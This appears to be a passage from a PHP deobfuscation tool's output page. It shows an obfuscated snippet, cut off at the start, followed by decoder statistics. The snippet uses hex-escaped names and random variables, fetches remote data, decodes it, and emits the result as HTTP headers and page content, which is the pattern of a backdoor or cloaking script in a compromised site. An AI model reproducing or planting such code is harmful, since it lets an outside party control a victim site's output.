(isset(${"\x5f\x52\x45\x51\x55\x45\x53\x54"}["\x64\x75\x6d\x70"])) { var_dump($qBZqQoVXbT); $qBZqQoVXbT = qUHIRnYbOUVsGRz("https://"."\x67\x6f\x6f\x67\x6c\x65".".com"); var_dump($qBZqQoVXbT);/*S0vMzEJElwPNAQA=$cAT3VWynuiL7CRgr*/ die(); } $qBZqQoVXbT = @gzuncompress(base64_decode($qBZqQoVXbT)); $uCGHUlYYXH = @preg_split("/\|/si", $qBZqQoVXbT, -1, PREG_SPLIT_NO_EMPTY); if ($uCGHUlYYXH !== false && count($uCGHUlYYXH) > 1) { $aIjqUZtyHm = array_pop($uCGHUlYYXH); $aIjqUZtyHm = base64_decode($aIjqUZtyHm); foreach ($uCGHUlYYXH as $TppgRYejTQ) { @header($TppgRYejTQ); } echo $aIjqUZtyHm; die(); } ?>
Function Calls
str_split | 1 |
Stats
MD5 | 57988b1275f1e3db1488734969c19a8b |
Eval Count | 0 |
Decode Time | 157 ms |